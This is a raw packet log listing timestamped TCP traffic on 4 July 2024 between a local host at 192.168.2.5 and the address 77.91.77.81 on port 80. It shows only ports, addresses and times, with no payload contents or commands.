Jul 4, 2024 22:21:05.618940115 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618951082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618959904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618971109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.618980885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619093895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619093895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619093895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619093895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619174957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619185925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619195938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619206905 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619219065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619237900 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619326115 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619335890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619345903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619358063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619369030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619373083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619379997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619388103 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619391918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619406939 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619430065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619621992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619633913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619645119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619662046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619666100 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619673967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619683027 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619685888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619698048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619704962 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619709969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619721889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619733095 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619734049 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619745970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619750977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619757891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.619772911 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.619801998 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620141983 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620152950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620162010 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620171070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620184898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620212078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620239973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620251894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620261908 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620274067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620281935 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620285988 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620301962 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620333910 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620512009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620523930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620532990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620543003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620558977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620562077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620569944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620582104 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620582104 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620592117 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620593071 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620604992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620616913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620623112 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620641947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620662928 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620845079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620860100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620870113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620881081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620899916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620902061 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620912075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620923042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620923996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620934010 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620944977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.620945930 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620973110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.620984077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621166945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621212006 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621361971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621373892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621382952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621393919 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621402979 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621406078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621419907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621423960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621436119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621445894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621450901 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621457100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621468067 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621469021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621481895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621493101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621494055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621505022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621505022 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621517897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621531963 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621541023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621543884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621556044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.621560097 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621577978 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.621601105 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.628051043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.628061056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.628107071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.628451109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.628490925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.628523111 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.628561974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643621922 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643634081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643644094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643655062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643695116 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643724918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643732071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643737078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643748999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643769979 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643785000 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643817902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643831015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643840075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643870115 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643884897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.643975019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.643985033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.644007921 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.644018888 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.644062042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.644072056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.644082069 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.644093037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.644107103 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.644118071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.644134045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688632965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688667059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688677073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688695908 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688719034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688728094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688739061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688765049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688792944 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688818932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688829899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688849926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688862085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688872099 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.688872099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688884020 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.688913107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.689079046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.689089060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.689099073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.689111948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.689120054 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.689142942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708518982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708576918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708606005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708662033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708697081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708734989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708769083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708769083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708769083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708800077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708826065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708827019 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708842993 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708847046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708862066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708874941 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708883047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708888054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708894968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708906889 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708914995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708939075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708960056 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.708986998 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.708997965 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709007978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709011078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709034920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709059000 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709160089 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709171057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709182978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709194899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709206104 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709237099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709266901 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709343910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709353924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709379911 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709389925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709559917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709570885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709580898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709593058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709600925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709604979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709616899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709625959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709630013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709640980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709647894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709652901 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709669113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709675074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709680080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709692001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709702015 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709703922 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.709723949 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709745884 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.709934950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710046053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710056067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710066080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710077047 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710086107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710093975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710103989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710117102 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710141897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710311890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710321903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710335970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710347891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710357904 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710361004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710371971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710382938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710387945 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710396051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710422039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710438967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710608006 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710618019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710628033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710640907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710652113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710661888 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710664034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710671902 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710681915 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710712910 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710743904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710757017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710766077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710776091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710787058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710788012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710800886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710810900 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710817099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710823059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710834980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710835934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710848093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710860014 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710865021 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710871935 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710871935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.710900068 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.710912943 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711476088 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711486101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711496115 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711507082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711517096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711529016 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711534977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711539984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711549997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711555958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711564064 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711572886 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711576939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711586952 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711590052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711602926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711610079 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711615086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711627007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711637974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711641073 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711651087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711653948 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711663008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.711677074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.711705923 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.733854055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.733910084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.733963013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.733972073 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.733998060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734009027 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.734035969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734081984 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.734107018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734142065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734175920 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734189034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.734215021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734225035 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.734249115 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734263897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734272957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734283924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734294891 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.734297037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.734308958 CEST	80	49719	77.91.77.81	192.168.2.5
